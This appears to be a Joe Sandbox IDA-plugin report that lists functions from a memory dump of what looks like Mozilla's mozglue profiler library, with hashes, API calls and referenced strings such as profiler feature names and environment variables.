Associated: 00000000.00000002.2782510335.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782561221.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: 8745eea95e5bae02b8e819d74c166b2ec13f30b0eb12db011c6d3cc4fa62b507
Instruction ID: e87c19aeb54141b40e2ff11cc4c98e9d4ce69d8caccf48a06b77821da2475711
Opcode Fuzzy Hash: 8745eea95e5bae02b8e819d74c166b2ec13f30b0eb12db011c6d3cc4fa62b507
Instruction Fuzzy Hash: DAC1C175D012099BCB04CFA5C5906EEBBF6FF8A319F28425DD8556BB44D732A846CB80

Function 6C95DFE0 Relevance: .7, Instructions: 683COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2782312337.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2782249215.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782448847.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782510335.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782561221.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ff4ccaa2f6742391cfa21121713cd7bef9f0100b3b6bfbb65e42e8252148ec2f
Instruction ID: a899fa613e4c4b232c11e9189b4b7732dc773f6f34e3f0bd3ad67280208987b7
Opcode Fuzzy Hash: ff4ccaa2f6742391cfa21121713cd7bef9f0100b3b6bfbb65e42e8252148ec2f
Instruction Fuzzy Hash: AC42D472A087518BD304CE3CC49035AF3E2BFC9364F594B2DE999A7794D739D9418B82

Function 6C9C76E3 Relevance: .5, Instructions: 540COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2782312337.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2782249215.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782448847.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782510335.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782561221.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction ID: b85fa92e39bd717ff08c812256885db20c52909c69fc35117cf796b061bc8064
Opcode Fuzzy Hash: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction Fuzzy Hash: 8332F871E0061A8FDB14CF98C8D0AADFBB6FF88304F6481A9C549A7745D731A986CF91

Function 6C9C6E63 Relevance: .5, Instructions: 498COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2782312337.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2782249215.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782448847.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782510335.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782561221.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction ID: 339a7a8d9ce8ff281e064841f521848a5f2afeceb7f9eb647f16b7c89a008e69
Opcode Fuzzy Hash: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction Fuzzy Hash: F522E871E0061A8FDB14CF98C880AADF7F6FF88304F6485AAC549A7745D731A986CF91

Function 6C980512 Relevance: .5, Instructions: 466COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2782312337.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2782249215.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782448847.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782510335.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782561221.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction ID: 286ab1b55caabb77574da8dc762465e9dbb4a6a592fa37c3ece0a54f2dbccbfb
Opcode Fuzzy Hash: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction Fuzzy Hash: FC221671E01659CFCB24CF98C890AADF7B2FF89308F548699C54AA7705D731A986CF90

Function 6C9CAC00 Relevance: .4, Instructions: 445COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2782312337.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2782249215.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782448847.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782510335.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782561221.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 438b163c0aa609187af82fd67fb495aa0d56262e55ffb230bb49f57c8f6d2f1c
Instruction ID: 845f37bb87fd0395f7ec045ee9b6bdfdba6238f99a989a2309416836ff3aa9ca
Opcode Fuzzy Hash: 438b163c0aa609187af82fd67fb495aa0d56262e55ffb230bb49f57c8f6d2f1c
Instruction Fuzzy Hash: C3F14871B087458FD700CE28C8913AAB7E6AFD5318F158A2DE8D487781EB74D9898793

Function 6C95C670 Relevance: .3, Instructions: 285COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2782312337.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2782249215.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782448847.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782510335.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782561221.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction ID: 5f235e11923b688408c7ff9597425e03612c3ff3549a37dde2826480d5134435
Opcode Fuzzy Hash: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction Fuzzy Hash: AAA1AA71F0021A8FDB08CE69C8913AEB7F2AFC8354F588269D915E7781DB349D168B90

Function 6C997710 Relevance: .2, Instructions: 206COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2782312337.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2782249215.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782448847.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782510335.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782561221.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Process$CurrentTerminate
String ID:
API String ID: 2429186680-0
Opcode ID: c4444cc0414dca8a1ee3cfbbd6a76bfc4cbfc28a3113b9b055c67c1c36ca1372
Instruction ID: 9235d4aeb16e95b897db654b44aad1d842f977bcab8bd4c1c42e8846b01dd419
Opcode Fuzzy Hash: c4444cc0414dca8a1ee3cfbbd6a76bfc4cbfc28a3113b9b055c67c1c36ca1372
Instruction Fuzzy Hash: 7B714C75E012198FCB18CF99D8905EDBBB6FF89314F28816ED415AB740DB31A945CB90

Function 6C9958E0 Relevance: .2, Instructions: 206COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2782312337.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2782249215.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782448847.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782510335.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782561221.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Process$CurrentTerminate
String ID:
API String ID: 2429186680-0
Opcode ID: 5f3271e0b6d1972c6f9a5bf7d2f7ee605f6e000976014a997e28f346435fa738
Instruction ID: e27303789d493c5076aeb74b262a07e258456b216b98fe066c17ff9ed332aa26
Opcode Fuzzy Hash: 5f3271e0b6d1972c6f9a5bf7d2f7ee605f6e000976014a997e28f346435fa738
Instruction Fuzzy Hash: F5817A75A012199FCB04CFA8C8809EEBBF6FF89314F684269D511AB741D731E945CBA0

Function 6C99CC00 Relevance: 73.7, APIs: 25, Strings: 24, Instructions: 233
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,default,?,6C96582D), ref: 6C99CC27
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,java,?,?,?,6C96582D), ref: 6C99CC3D
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,6C9CFE98,?,?,?,?,?,6C96582D), ref: 6C99CC56
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,leaf,?,?,?,?,?,?,?,6C96582D), ref: 6C99CC6C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,mainthreadio,?,?,?,?,?,?,?,?,?,6C96582D), ref: 6C99CC82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileio,?,?,?,?,?,?,?,?,?,?,?,6C96582D), ref: 6C99CC98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileioall,?,?,?,?,?,?,?,?,?,?,?,?,?,6C96582D), ref: 6C99CCAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,noiostacks), ref: 6C99CCC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,screenshots), ref: 6C99CCDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,seqstyle), ref: 6C99CCEC
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,stackwalk), ref: 6C99CCFE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,jsallocations), ref: 6C99CD14
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nostacksampling), ref: 6C99CD82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,preferencereads), ref: 6C99CD98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nativeallocations), ref: 6C99CDAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,ipcmessages), ref: 6C99CDC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,audiocallbacktracing), ref: 6C99CDDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpu), ref: 6C99CDF0
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,notimerresolutionchange), ref: 6C99CE06
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpuallthreads), ref: 6C99CE1C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,samplingallthreads), ref: 6C99CE32
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,markersallthreads), ref: 6C99CE48
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,unregisteredthreads), ref: 6C99CE5E
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,processcpu), ref: 6C99CE74
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,power), ref: 6C99CE8A

Strings

screenshots, xrefs: 6C99CCD4
cpuallthreads, xrefs: 6C99CE16
jsallocations, xrefs: 6C99CD0E
power, xrefs: 6C99CE84
leaf, xrefs: 6C99CC66
Unrecognized feature "%s"., xrefs: 6C99CEA0
mainthreadio, xrefs: 6C99CC7C
nativeallocations, xrefs: 6C99CDA8
ipcmessages, xrefs: 6C99CDBE
fileio, xrefs: 6C99CC92
default, xrefs: 6C99CC21
stackwalk, xrefs: 6C99CCF8
noiostacks, xrefs: 6C99CCBE
java, xrefs: 6C99CC37
fileioall, xrefs: 6C99CCA8
nostacksampling, xrefs: 6C99CD7C
preferencereads, xrefs: 6C99CD92
notimerresolutionchange, xrefs: 6C99CE00
unregisteredthreads, xrefs: 6C99CE58
processcpu, xrefs: 6C99CE6E
samplingallthreads, xrefs: 6C99CE2C
audiocallbacktracing, xrefs: 6C99CDD4
markersallthreads, xrefs: 6C99CE42
seqstyle, xrefs: 6C99CCE6

Memory Dump Source

Source File: 00000000.00000002.2782312337.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2782249215.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782448847.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782510335.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782561221.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: strcmp
String ID: Unrecognized feature "%s".$audiocallbacktracing$cpuallthreads$default$fileio$fileioall$ipcmessages$java$jsallocations$leaf$mainthreadio$markersallthreads$nativeallocations$noiostacks$nostacksampling$notimerresolutionchange$power$preferencereads$processcpu$samplingallthreads$screenshots$seqstyle$stackwalk$unregisteredthreads
API String ID: 1004003707-2809817890
Opcode ID: 049deccd7b179f3df5266eb65aac10e76e7929683c6140fb83ff99b66d0a272e
Instruction ID: 83ba0149e1da4508ae46db8caf5da7f62224e50d92e28a20b1727d8fa29fa8dd
Opcode Fuzzy Hash: 049deccd7b179f3df5266eb65aac10e76e7929683c6140fb83ff99b66d0a272e
Instruction Fuzzy Hash: 8751A7C1B4562622FF0431157D10BAA184DEFB724AF1C443AED1AA1F90FF05E71A86B7

Function 6C9647C0 Relevance: 49.2, APIs: 23, Strings: 5, Instructions: 232threadCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C964801
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C964817
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C96482D
__Init_thread_footer.LIBCMT ref: 6C96484A

Part of subcall function 6C98AB3F: EnterCriticalSection.KERNEL32(6C9DE370,?,?,6C953527,6C9DF6CC,?,?,?,?,?,?,?,?,6C953284), ref: 6C98AB49
Part of subcall function 6C98AB3F: LeaveCriticalSection.KERNEL32(6C9DE370,?,6C953527,6C9DF6CC,?,?,?,?,?,?,?,?,6C953284,?,?,6C9756F6), ref: 6C98AB7C

GetCurrentThreadId.KERNEL32 ref: 6C96485F
GetCurrentThreadId.KERNEL32 ref: 6C96487E
AcquireSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C96488B
free.MOZGLUE(?), ref: 6C96493A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C964956
free.MOZGLUE(00000000), ref: 6C964960
ReleaseSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C96499A

Part of subcall function 6C98AB89: EnterCriticalSection.KERNEL32(6C9DE370,?,?,?,6C9534DE,6C9DF6CC,?,?,?,?,?,?,?,6C953284), ref: 6C98AB94
Part of subcall function 6C98AB89: LeaveCriticalSection.KERNEL32(6C9DE370,?,6C9534DE,6C9DF6CC,?,?,?,?,?,?,?,6C953284,?,?,6C9756F6), ref: 6C98ABD1

free.MOZGLUE(?), ref: 6C9649C6
free.MOZGLUE(?), ref: 6C9649E9

Part of subcall function 6C975E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C975EDB
Part of subcall function 6C975E90: memset.VCRUNTIME140(6C9B7765,000000E5,55CCCCCC), ref: 6C975F27
Part of subcall function 6C975E90: LeaveCriticalSection.KERNEL32(?), ref: 6C975FB2

Strings

MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C964812
[I %d/%d] profiler_shutdown, xrefs: 6C964A06
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C964828
MOZ_PROFILER_SHUTDOWN, xrefs: 6C964A42
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C9647FC

Memory Dump Source

Source File: 00000000.00000002.2782312337.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2782249215.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782448847.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782510335.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782561221.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: CriticalSection$free$EnterLeavegetenv$CurrentExclusiveLockThread$AcquireInit_thread_footerReleasememset
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_SHUTDOWN$[I %d/%d] profiler_shutdown
API String ID: 1340022502-4194431170
Opcode ID: 2fbc5fb9be08767893a91cb3a760ae8df8be2b8a6196d0d2bf022ff6f6b5cabf
Instruction ID: 08453eb5f0dbc9816052d0d2f3ad419fc9f7ccd014a6fa1920723bf4cc2f4576
Opcode Fuzzy Hash: 2fbc5fb9be08767893a91cb3a760ae8df8be2b8a6196d0d2bf022ff6f6b5cabf
Instruction Fuzzy Hash: D0812571A049009BEB00DFA9C86876A3775AF5232DF240229D916A7FC1D731F894CF96

Function 6C964470 Relevance: 43.9, APIs: 20, Strings: 5, Instructions: 178libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C964730: GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C9644B2,6C9DE21C,6C9DF7F8), ref: 6C96473E
Part of subcall function 6C964730: GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C96474A

GetModuleHandleW.KERNEL32(WRusr.dll), ref: 6C9644BA
LoadLibraryW.KERNEL32(kernel32.dll), ref: 6C9644D2
InitOnceExecuteOnce.KERNEL32(6C9DF80C,6C95F240,?,?), ref: 6C96451A
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C96455C
LoadLibraryW.KERNEL32(?), ref: 6C964592
InitializeCriticalSection.KERNEL32(6C9DF770), ref: 6C9645A2
moz_xmalloc.MOZGLUE(00000008), ref: 6C9645AA
moz_xmalloc.MOZGLUE(00000018), ref: 6C9645BB
InitOnceExecuteOnce.KERNEL32(6C9DF818,6C95F240,?,?), ref: 6C964612
?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6C964636
LoadLibraryW.KERNEL32(user32.dll), ref: 6C964644
memset.VCRUNTIME140(?,00000000,00000114), ref: 6C96466D
VerSetConditionMask.NTDLL ref: 6C96469F
VerSetConditionMask.NTDLL ref: 6C9646AB
VerSetConditionMask.NTDLL ref: 6C9646B2
VerSetConditionMask.NTDLL ref: 6C9646B9
VerSetConditionMask.NTDLL ref: 6C9646C0
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C9646CD
GetModuleHandleW.KERNEL32(00000000), ref: 6C9646F1
GetProcAddress.KERNEL32(00000000,NativeNtBlockSet_Write), ref: 6C9646FD

Strings

user32.dll, xrefs: 6C964557, 6C96463F
l, xrefs: 6C964578
WRusr.dll, xrefs: 6C9644B5
NativeNtBlockSet_Write, xrefs: 6C9646F7
kernel32.dll, xrefs: 6C9644CD

Memory Dump Source

Source File: 00000000.00000002.2782312337.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2782249215.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782448847.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782510335.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782561221.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: ConditionMask$HandleModuleOnce$LibraryLoad$AddressExecuteInitProcmoz_xmalloc$CriticalDown@mozilla@@InfoInitializeLockedSectionVerifyVersionWin32kmemset
String ID: NativeNtBlockSet_Write$WRusr.dll$kernel32.dll$l$user32.dll
API String ID: 1702738223-3894940629
Opcode ID: f27f717a67b20e8f9a74b2af67ba918b4ef8d69f493e4142ebe7b93006c3dbff
Instruction ID: 95f3080130d8457ce0f29acd07269db9e794ac254ff7730002b5faff1b8e1813
Opcode Fuzzy Hash: f27f717a67b20e8f9a74b2af67ba918b4ef8d69f493e4142ebe7b93006c3dbff
Instruction Fuzzy Hash: 2261F7B16087449FFB00DFA1C80AB957BB8EB4270CF24C559E505ABA91D770E6C4CFA1

Function 6C99E8B0 Relevance: 37.0, APIs: 19, Strings: 2, Instructions: 297threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C997090: ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,00000000,?,6C99B9F1,?), ref: 6C997107

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,6C99DCF5), ref: 6C99E92D
GetCurrentThreadId.KERNEL32 ref: 6C99EA4F
AcquireSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99EA5C
ReleaseSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99EA80
GetCurrentThreadId.KERNEL32 ref: 6C99EA8A
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,6C99DCF5), ref: 6C99EA92
GetCurrentThreadId.KERNEL32 ref: 6C99EB11
AcquireSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99EB1E
memset.VCRUNTIME140(?,00000000,000000E0), ref: 6C99EB3C
ReleaseSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99EB5B

Part of subcall function 6C995710: ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C99EB71), ref: 6C9957AB

Part of subcall function 6C98CBE8: GetCurrentProcess.KERNEL32(?,6C9531A7), ref: 6C98CBF1
Part of subcall function 6C98CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9531A7), ref: 6C98CBFA

Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C964A68), ref: 6C99945E
Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C999470
Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C999482
Part of subcall function 6C999420: __Init_thread_footer.LIBCMT ref: 6C99949F

GetCurrentThreadId.KERNEL32 ref: 6C99EBA4
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000), ref: 6C99EBAC

Part of subcall function 6C9994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9994EE
Part of subcall function 6C9994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C999508

GetCurrentThreadId.KERNEL32 ref: 6C99EBC1
AcquireSRWLockExclusive.KERNEL32(6C9DF4B8,?,?,00000000), ref: 6C99EBCE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000,?,?,00000000), ref: 6C99EBE5
ReleaseSRWLockExclusive.KERNEL32(6C9DF4B8,00000000), ref: 6C99EC37
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C99EC46
CloseHandle.KERNEL32(?), ref: 6C99EC55
free.MOZGLUE(00000000), ref: 6C99EC5C

Strings

[I %d/%d] baseprofiler_save_profile_to_file(%s), xrefs: 6C99EA9B
[I %d/%d] profiler_start, xrefs: 6C99EBB4

Memory Dump Source

Source File: 00000000.00000002.2782312337.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2782249215.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782448847.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782510335.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782561221.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: ExclusiveLock$Current$ReleaseThread$Acquiregetenv$Process_getpid$?profiler_init@baseprofiler@mozilla@@CloseHandleInit_thread_footerObjectSingleTerminateWait__acrt_iob_func__stdio_common_vfprintffreemallocmemset
String ID: [I %d/%d] baseprofiler_save_profile_to_file(%s)$[I %d/%d] profiler_start
API String ID: 1341148965-1186885292
Opcode ID: 3145cb90d335be97890469e9718d1b74dd249c376b04779be51412aa5bf88626
Instruction ID: 2aa7de54209fbba727499cebadc23d7e2544764f98b9149ff84a5c138505d6e8
Opcode Fuzzy Hash: 3145cb90d335be97890469e9718d1b74dd249c376b04779be51412aa5bf88626
Instruction Fuzzy Hash: 39A15B31704A049FDB009F28C849B6A77B5FF9631DF298129E919A7F51DB30F884CBA1

Function 6C99F6E0 Relevance: 35.2, APIs: 16, Strings: 4, Instructions: 235threadstringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C964A68), ref: 6C99945E
Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C999470
Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C999482
Part of subcall function 6C999420: __Init_thread_footer.LIBCMT ref: 6C99949F

GetCurrentThreadId.KERNEL32 ref: 6C99F70E
??$AddMarker@UTextMarker@markers@baseprofiler@mozilla@@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@baseprofiler@mozilla@@YA?AVProfileBufferBlockIndex@1@ABV?$ProfilerStringView@D@1@ABVMarkerCategory@1@$$QAVMarkerOptions@1@UTextMarker@markers@01@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z.MOZGLUE ref: 6C99F8F9

Part of subcall function 6C966390: GetCurrentThreadId.KERNEL32 ref: 6C9663D0
Part of subcall function 6C966390: AcquireSRWLockExclusive.KERNEL32 ref: 6C9663DF
Part of subcall function 6C966390: ReleaseSRWLockExclusive.KERNEL32 ref: 6C96640E

ReleaseSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99F93A
GetCurrentThreadId.KERNEL32 ref: 6C99F98A
GetCurrentThreadId.KERNEL32 ref: 6C99F990
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C99F994
